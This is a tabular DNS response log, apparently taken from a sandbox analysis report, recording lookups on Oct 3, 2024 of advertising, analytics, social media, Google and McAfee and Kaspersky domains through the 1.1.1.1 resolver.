Oct 3, 2024 17:19:39.253958941 CEST	1.1.1.1	192.168.2.17	0xc687	No error (0)	www.facebook.com	star-mini.c10r.facebook.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 17:19:39.254404068 CEST	1.1.1.1	192.168.2.17	0x8e3d	No error (0)	www.facebook.com	star-mini.c10r.facebook.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 17:19:39.254404068 CEST	1.1.1.1	192.168.2.17	0x8e3d	No error (0)	star-mini.c10r.facebook.com		157.240.251.35	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:39.257987022 CEST	1.1.1.1	192.168.2.17	0x1c80	No error (0)	app.upsellit.com		66.226.1.69	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:39.262960911 CEST	1.1.1.1	192.168.2.17	0x5b63	No error (0)	pixel.quantserve.com	global.px.quantserve.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 17:19:39.262960911 CEST	1.1.1.1	192.168.2.17	0x5b63	No error (0)	global.px.quantserve.com		91.228.74.166	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:39.262960911 CEST	1.1.1.1	192.168.2.17	0x5b63	No error (0)	global.px.quantserve.com		91.228.74.200	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:39.262960911 CEST	1.1.1.1	192.168.2.17	0x5b63	No error (0)	global.px.quantserve.com		91.228.74.159	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:39.262960911 CEST	1.1.1.1	192.168.2.17	0x5b63	No error (0)	global.px.quantserve.com		91.228.74.244	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:39.263240099 CEST	1.1.1.1	192.168.2.17	0x23fe	No error (0)	pixel.quantserve.com	global.px.quantserve.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 17:19:39.267779112 CEST	1.1.1.1	192.168.2.17	0xa13f	No error (0)	td.doubleclick.net		142.250.185.194	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:39.271481037 CEST	1.1.1.1	192.168.2.17	0xaab3	No error (0)	googleads.g.doubleclick.net		172.217.23.98	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:39.271497011 CEST	1.1.1.1	192.168.2.17	0x57a2	No error (0)	googleads.g.doubleclick.net			65	IN (0x0001)	false
Oct 3, 2024 17:19:39.275676012 CEST	1.1.1.1	192.168.2.17	0xf32b	No error (0)	connect.facebook.net	scontent.xx.fbcdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 17:19:39.275676012 CEST	1.1.1.1	192.168.2.17	0xf32b	No error (0)	scontent.xx.fbcdn.net			65	IN (0x0001)	false
Oct 3, 2024 17:19:39.275676012 CEST	1.1.1.1	192.168.2.17	0xf32b	No error (0)	scontent.xx.fbcdn.net			65	IN (0x0001)	false
Oct 3, 2024 17:19:39.275958061 CEST	1.1.1.1	192.168.2.17	0xafc4	No error (0)	connect.facebook.net	scontent.xx.fbcdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 17:19:39.275958061 CEST	1.1.1.1	192.168.2.17	0xafc4	No error (0)	scontent.xx.fbcdn.net		157.240.0.6	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:39.280615091 CEST	1.1.1.1	192.168.2.17	0x6324	No error (0)	s-static.innovid.com	s-static.innovid.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 17:19:39.281620026 CEST	1.1.1.1	192.168.2.17	0xe65e	No error (0)	s-static.innovid.com	s-static.innovid.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 17:19:39.284625053 CEST	1.1.1.1	192.168.2.17	0x36ce	No error (0)	s.yimg.com	edge.gycpi.b.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 17:19:39.284625053 CEST	1.1.1.1	192.168.2.17	0x36ce	No error (0)	edge.gycpi.b.yahoodns.net		87.248.119.252	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:39.284625053 CEST	1.1.1.1	192.168.2.17	0x36ce	No error (0)	edge.gycpi.b.yahoodns.net		87.248.119.251	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:39.284638882 CEST	1.1.1.1	192.168.2.17	0x8210	No error (0)	s.yimg.com	edge.gycpi.b.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 17:19:39.290087938 CEST	1.1.1.1	192.168.2.17	0xbbb4	No error (0)	secure.quantserve.com	2kpixel.quantserve.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 17:19:39.290087938 CEST	1.1.1.1	192.168.2.17	0xbbb4	No error (0)	2kpixel.quantserve.com	global.px.quantserve.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 17:19:39.290087938 CEST	1.1.1.1	192.168.2.17	0xbbb4	No error (0)	global.px.quantserve.com		91.228.74.159	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:39.290087938 CEST	1.1.1.1	192.168.2.17	0xbbb4	No error (0)	global.px.quantserve.com		91.228.74.200	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:39.290087938 CEST	1.1.1.1	192.168.2.17	0xbbb4	No error (0)	global.px.quantserve.com		91.228.74.166	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:39.290087938 CEST	1.1.1.1	192.168.2.17	0xbbb4	No error (0)	global.px.quantserve.com		91.228.74.244	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:39.290380001 CEST	1.1.1.1	192.168.2.17	0xb9d2	No error (0)	secure.quantserve.com	2kpixel.quantserve.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 17:19:39.290380001 CEST	1.1.1.1	192.168.2.17	0xb9d2	No error (0)	2kpixel.quantserve.com	global.px.quantserve.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 17:19:39.358056068 CEST	1.1.1.1	192.168.2.17	0x8338	No error (0)	id.mcafee.com	id-r53.awsconsumer.mcafee.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 17:19:39.358056068 CEST	1.1.1.1	192.168.2.17	0x8338	No error (0)	id-r53.awsconsumer.mcafee.com	id.mcafee.com-v1.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 17:19:39.370522022 CEST	1.1.1.1	192.168.2.17	0xccb9	No error (0)	id.mcafee.com	id-r53.awsconsumer.mcafee.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 17:19:39.370522022 CEST	1.1.1.1	192.168.2.17	0xccb9	No error (0)	id-r53.awsconsumer.mcafee.com	id.mcafee.com-v1.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 17:19:39.422940969 CEST	1.1.1.1	192.168.2.17	0x7f5a	No error (0)	id.mcafee.com	id-r53.awsconsumer.mcafee.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 17:19:39.422940969 CEST	1.1.1.1	192.168.2.17	0x7f5a	No error (0)	id-r53.awsconsumer.mcafee.com	id.mcafee.com-v1.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 17:19:39.532350063 CEST	1.1.1.1	192.168.2.17	0x8219	No error (0)	id.mcafee.com	id-r53.awsconsumer.mcafee.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 17:19:39.532350063 CEST	1.1.1.1	192.168.2.17	0x8219	No error (0)	id-r53.awsconsumer.mcafee.com	id.mcafee.com-v1.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 17:19:40.263894081 CEST	1.1.1.1	192.168.2.17	0x240	No error (0)	mcafee12.tt.omtrdc.net	adobetarget.data.adobedc.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 17:19:40.265641928 CEST	1.1.1.1	192.168.2.17	0x6b16	No error (0)	mcafee12.tt.omtrdc.net	adobetarget.data.adobedc.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 17:19:40.265641928 CEST	1.1.1.1	192.168.2.17	0x6b16	No error (0)	adobetarget.data.adobedc.net		66.235.152.156	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:40.265641928 CEST	1.1.1.1	192.168.2.17	0x6b16	No error (0)	adobetarget.data.adobedc.net		66.235.152.225	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:40.265641928 CEST	1.1.1.1	192.168.2.17	0x6b16	No error (0)	adobetarget.data.adobedc.net		66.235.152.221	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:40.376689911 CEST	1.1.1.1	192.168.2.17	0x88f0	No error (0)	www.mcafee.com	www-mcafeee-r53.awsconsumer.mcafee.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 17:19:40.376689911 CEST	1.1.1.1	192.168.2.17	0x88f0	No error (0)	www-mcafeee-r53.awsconsumer.mcafee.com	www.mcafee.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 17:19:40.376760960 CEST	1.1.1.1	192.168.2.17	0x3211	No error (0)	www.mcafee.com	www-mcafeee-r53.awsconsumer.mcafee.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 17:19:40.376760960 CEST	1.1.1.1	192.168.2.17	0x3211	No error (0)	www-mcafeee-r53.awsconsumer.mcafee.com	www.mcafee.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 17:19:40.436918974 CEST	1.1.1.1	192.168.2.17	0xa1be	No error (0)	s.go-mpulse.net	ip46.go-mpulse.net.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 17:19:40.438750982 CEST	1.1.1.1	192.168.2.17	0x89c9	No error (0)	s.go-mpulse.net	ip46.go-mpulse.net.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 17:19:40.444876909 CEST	1.1.1.1	192.168.2.17	0x7202	No error (0)	www.mcafee.com	www-mcafeee-r53.awsconsumer.mcafee.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 17:19:40.444876909 CEST	1.1.1.1	192.168.2.17	0x7202	No error (0)	www-mcafeee-r53.awsconsumer.mcafee.com	www.mcafee.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 17:19:40.446839094 CEST	1.1.1.1	192.168.2.17	0xc735	No error (0)	www.mcafee.com	www-mcafeee-r53.awsconsumer.mcafee.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 17:19:40.446839094 CEST	1.1.1.1	192.168.2.17	0xc735	No error (0)	www-mcafeee-r53.awsconsumer.mcafee.com	www.mcafee.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 17:19:41.090487957 CEST	1.1.1.1	192.168.2.17	0x94ca	No error (0)	mcafee12.tt.omtrdc.net	adobetarget.data.adobedc.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 17:19:41.092691898 CEST	1.1.1.1	192.168.2.17	0xb0a8	No error (0)	mcafee12.tt.omtrdc.net	adobetarget.data.adobedc.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 17:19:41.092691898 CEST	1.1.1.1	192.168.2.17	0xb0a8	No error (0)	adobetarget.data.adobedc.net		66.235.152.156	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:41.092691898 CEST	1.1.1.1	192.168.2.17	0xb0a8	No error (0)	adobetarget.data.adobedc.net		66.235.152.225	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:41.092691898 CEST	1.1.1.1	192.168.2.17	0xb0a8	No error (0)	adobetarget.data.adobedc.net		66.235.152.221	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:41.688649893 CEST	1.1.1.1	192.168.2.17	0x766b	No error (0)	s.go-mpulse.net	ip46.go-mpulse.net.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 17:19:41.689018011 CEST	1.1.1.1	192.168.2.17	0xa347	No error (0)	s.go-mpulse.net	ip46.go-mpulse.net.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 17:19:41.960258961 CEST	1.1.1.1	192.168.2.17	0xae8c	No error (0)	c.go-mpulse.net	wildcard46.go-mpulse.net.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 17:19:41.960660934 CEST	1.1.1.1	192.168.2.17	0xc3f2	No error (0)	c.go-mpulse.net	wildcard46.go-mpulse.net.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 17:19:44.879358053 CEST	1.1.1.1	192.168.2.17	0x25f0	No error (0)	gc.kis.v2.scr.kaspersky-labs.com		185.85.13.155	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:44.879370928 CEST	1.1.1.1	192.168.2.17	0x94ac	No error (0)	me.kis.v2.scr.kaspersky-labs.com		185.85.13.154	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:46.326113939 CEST	1.1.1.1	192.168.2.17	0x3d2c	No error (0)	id.mcafee.com	id-r53.awsconsumer.mcafee.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 17:19:46.326113939 CEST	1.1.1.1	192.168.2.17	0x3d2c	No error (0)	id-r53.awsconsumer.mcafee.com	id.mcafee.com-v1.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 17:19:46.487245083 CEST	1.1.1.1	192.168.2.17	0x207a	No error (0)	id.mcafee.com	id-r53.awsconsumer.mcafee.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 17:19:46.487245083 CEST	1.1.1.1	192.168.2.17	0x207a	No error (0)	id-r53.awsconsumer.mcafee.com	id.mcafee.com-v1.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 17:19:47.911536932 CEST	1.1.1.1	192.168.2.17	0x6436	No error (0)	tags.tiqcdn.com	dzfq4ouujrxm8.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 17:19:47.911793947 CEST	1.1.1.1	192.168.2.17	0x9cb5	No error (0)	tags.tiqcdn.com	dzfq4ouujrxm8.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 17:19:47.911793947 CEST	1.1.1.1	192.168.2.17	0x9cb5	No error (0)	dzfq4ouujrxm8.cloudfront.net		13.33.187.116	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:47.911793947 CEST	1.1.1.1	192.168.2.17	0x9cb5	No error (0)	dzfq4ouujrxm8.cloudfront.net		13.33.187.58	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:47.911793947 CEST	1.1.1.1	192.168.2.17	0x9cb5	No error (0)	dzfq4ouujrxm8.cloudfront.net		13.33.187.60	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:47.911793947 CEST	1.1.1.1	192.168.2.17	0x9cb5	No error (0)	dzfq4ouujrxm8.cloudfront.net		13.33.187.32	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:50.194267988 CEST	1.1.1.1	192.168.2.17	0xa7aa	No error (0)	android.l.google.com		142.250.186.174	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:50.194267988 CEST	1.1.1.1	192.168.2.17	0xa7aa	No error (0)	android.l.google.com		142.250.181.238	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:50.194267988 CEST	1.1.1.1	192.168.2.17	0xa7aa	No error (0)	android.l.google.com		142.250.184.206	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:50.194267988 CEST	1.1.1.1	192.168.2.17	0xa7aa	No error (0)	android.l.google.com		142.250.186.46	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:50.194267988 CEST	1.1.1.1	192.168.2.17	0xa7aa	No error (0)	android.l.google.com		216.58.206.46	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:50.194267988 CEST	1.1.1.1	192.168.2.17	0xa7aa	No error (0)	android.l.google.com		172.217.18.14	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:50.194267988 CEST	1.1.1.1	192.168.2.17	0xa7aa	No error (0)	android.l.google.com		172.217.16.142	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:50.194267988 CEST	1.1.1.1	192.168.2.17	0xa7aa	No error (0)	android.l.google.com		142.250.74.206	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:50.194267988 CEST	1.1.1.1	192.168.2.17	0xa7aa	No error (0)	android.l.google.com		142.250.184.238	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:50.194267988 CEST	1.1.1.1	192.168.2.17	0xa7aa	No error (0)	android.l.google.com		142.250.185.238	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:50.194267988 CEST	1.1.1.1	192.168.2.17	0xa7aa	No error (0)	android.l.google.com		142.250.186.110	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:50.194267988 CEST	1.1.1.1	192.168.2.17	0xa7aa	No error (0)	android.l.google.com		142.250.185.142	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:50.194267988 CEST	1.1.1.1	192.168.2.17	0xa7aa	No error (0)	android.l.google.com		172.217.16.206	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:50.194267988 CEST	1.1.1.1	192.168.2.17	0xa7aa	No error (0)	android.l.google.com		142.250.186.78	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:50.194267988 CEST	1.1.1.1	192.168.2.17	0xa7aa	No error (0)	android.l.google.com		142.250.185.174	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:50.194267988 CEST	1.1.1.1	192.168.2.17	0xa7aa	No error (0)	android.l.google.com		142.250.185.206	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:50.654072046 CEST	1.1.1.1	192.168.2.17	0x79d7	No error (0)	dpm.demdex.net	gslb-2.demdex.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 17:19:50.654072046 CEST	1.1.1.1	192.168.2.17	0x79d7	No error (0)	gslb-2.demdex.net	edge-irl1.demdex.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 17:19:50.654072046 CEST	1.1.1.1	192.168.2.17	0x79d7	No error (0)	edge-irl1.demdex.net	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 17:19:50.654072046 CEST	1.1.1.1	192.168.2.17	0x79d7	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		46.137.24.228	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:50.654072046 CEST	1.1.1.1	192.168.2.17	0x79d7	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		99.80.175.1	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:50.654072046 CEST	1.1.1.1	192.168.2.17	0x79d7	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		54.77.208.237	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:50.654072046 CEST	1.1.1.1	192.168.2.17	0x79d7	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		54.72.136.225	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:50.654072046 CEST	1.1.1.1	192.168.2.17	0x79d7	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		34.252.162.78	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:50.654072046 CEST	1.1.1.1	192.168.2.17	0x79d7	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		52.31.23.243	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:50.654072046 CEST	1.1.1.1	192.168.2.17	0x79d7	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		54.217.153.213	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:50.654072046 CEST	1.1.1.1	192.168.2.17	0x79d7	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		52.214.92.225	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:50.654151917 CEST	1.1.1.1	192.168.2.17	0x157f	No error (0)	dpm.demdex.net	gslb-2.demdex.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 17:19:50.654151917 CEST	1.1.1.1	192.168.2.17	0x157f	No error (0)	gslb-2.demdex.net	edge-irl1.demdex.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 17:19:50.654151917 CEST	1.1.1.1	192.168.2.17	0x157f	No error (0)	edge-irl1.demdex.net	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 17:19:51.625329018 CEST	1.1.1.1	192.168.2.17	0x8c6f	No error (0)	dpm.demdex.net	gslb-2.demdex.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 17:19:51.625329018 CEST	1.1.1.1	192.168.2.17	0x8c6f	No error (0)	gslb-2.demdex.net	edge-irl1.demdex.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 17:19:51.625329018 CEST	1.1.1.1	192.168.2.17	0x8c6f	No error (0)	edge-irl1.demdex.net	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 17:19:51.625329018 CEST	1.1.1.1	192.168.2.17	0x8c6f	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		52.214.203.240	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:51.625329018 CEST	1.1.1.1	192.168.2.17	0x8c6f	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		99.81.86.51	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:51.625329018 CEST	1.1.1.1	192.168.2.17	0x8c6f	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		54.72.136.225	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:51.625329018 CEST	1.1.1.1	192.168.2.17	0x8c6f	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		54.72.22.163	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:51.625329018 CEST	1.1.1.1	192.168.2.17	0x8c6f	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		99.80.175.1	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:51.625329018 CEST	1.1.1.1	192.168.2.17	0x8c6f	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		52.214.92.225	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:51.625329018 CEST	1.1.1.1	192.168.2.17	0x8c6f	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		46.137.24.228	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:51.625329018 CEST	1.1.1.1	192.168.2.17	0x8c6f	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		18.202.109.49	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:51.627104998 CEST	1.1.1.1	192.168.2.17	0x5407	No error (0)	dpm.demdex.net	gslb-2.demdex.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 17:19:51.627104998 CEST	1.1.1.1	192.168.2.17	0x5407	No error (0)	gslb-2.demdex.net	edge-irl1.demdex.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 17:19:51.627104998 CEST	1.1.1.1	192.168.2.17	0x5407	No error (0)	edge-irl1.demdex.net	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 17:19:51.651534081 CEST	1.1.1.1	192.168.2.17	0xa26e	No error (0)	mcafeeinc.demdex.net	gslb-2.demdex.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 17:19:51.651534081 CEST	1.1.1.1	192.168.2.17	0xa26e	No error (0)	gslb-2.demdex.net	edge-irl1.demdex.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 17:19:51.651534081 CEST	1.1.1.1	192.168.2.17	0xa26e	No error (0)	edge-irl1.demdex.net	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 17:19:51.651534081 CEST	1.1.1.1	192.168.2.17	0xa26e	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		54.72.136.225	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:51.651534081 CEST	1.1.1.1	192.168.2.17	0xa26e	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		52.31.23.243	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:51.651534081 CEST	1.1.1.1	192.168.2.17	0xa26e	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		54.77.208.237	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:51.651534081 CEST	1.1.1.1	192.168.2.17	0xa26e	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		18.202.39.134	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:51.651534081 CEST	1.1.1.1	192.168.2.17	0xa26e	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		52.31.82.54	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:51.651534081 CEST	1.1.1.1	192.168.2.17	0xa26e	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		52.210.48.33	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:51.651534081 CEST	1.1.1.1	192.168.2.17	0xa26e	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		54.217.153.213	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:51.651534081 CEST	1.1.1.1	192.168.2.17	0xa26e	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		18.202.150.204	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:51.652110100 CEST	1.1.1.1	192.168.2.17	0x6a85	No error (0)	mcafeeinc.demdex.net	gslb-2.demdex.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 17:19:51.652110100 CEST	1.1.1.1	192.168.2.17	0x6a85	No error (0)	gslb-2.demdex.net	edge-irl1.demdex.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 17:19:51.652110100 CEST	1.1.1.1	192.168.2.17	0x6a85	No error (0)	edge-irl1.demdex.net	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 17:19:52.155749083 CEST	1.1.1.1	192.168.2.17	0x941	No error (0)	edge.fullstory.com		35.201.112.186	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:52.815088034 CEST	1.1.1.1	192.168.2.17	0xf1ac	No error (0)	idsync.rlcdn.com		35.244.174.68	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:53.005568981 CEST	1.1.1.1	192.168.2.17	0x5f35	No error (0)	cdn1.adoberesources.net	cdn1.adoberesources.net.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 17:19:53.005866051 CEST	1.1.1.1	192.168.2.17	0xcd7a	No error (0)	www.upsellit.com		34.117.39.58	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:53.005882025 CEST	1.1.1.1	192.168.2.17	0xc68b	No error (0)	cdn1.adoberesources.net	cdn1.adoberesources.net.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 17:19:53.017963886 CEST	1.1.1.1	192.168.2.17	0x218	No error (0)	edge.fullstory.com		35.201.112.186	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:53.019545078 CEST	1.1.1.1	192.168.2.17	0x66e1	No error (0)	cm.everesttech.net	cm.everesttech.net.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 17:19:53.020256042 CEST	1.1.1.1	192.168.2.17	0x90e	No error (0)	cm.everesttech.net	cm.everesttech.net.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 17:19:53.610215902 CEST	1.1.1.1	192.168.2.17	0x9aab	No error (0)	www.google.com			65	IN (0x0001)	false
Oct 3, 2024 17:19:53.610873938 CEST	1.1.1.1	192.168.2.17	0x5d94	No error (0)	www.google.com		142.250.184.196	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:53.635482073 CEST	1.1.1.1	192.168.2.17	0xc65f	No error (0)	td.doubleclick.net		172.217.18.98	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:53.673422098 CEST	1.1.1.1	192.168.2.17	0xfdcc	No error (0)	google.com			65	IN (0x0001)	false
Oct 3, 2024 17:19:53.673973083 CEST	1.1.1.1	192.168.2.17	0x9363	No error (0)	google.com		216.58.206.46	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:53.686395884 CEST	1.1.1.1	192.168.2.17	0x533b	No error (0)	rs.fullstory.com		35.186.194.58	A (IP address)	IN (0x0001)	false
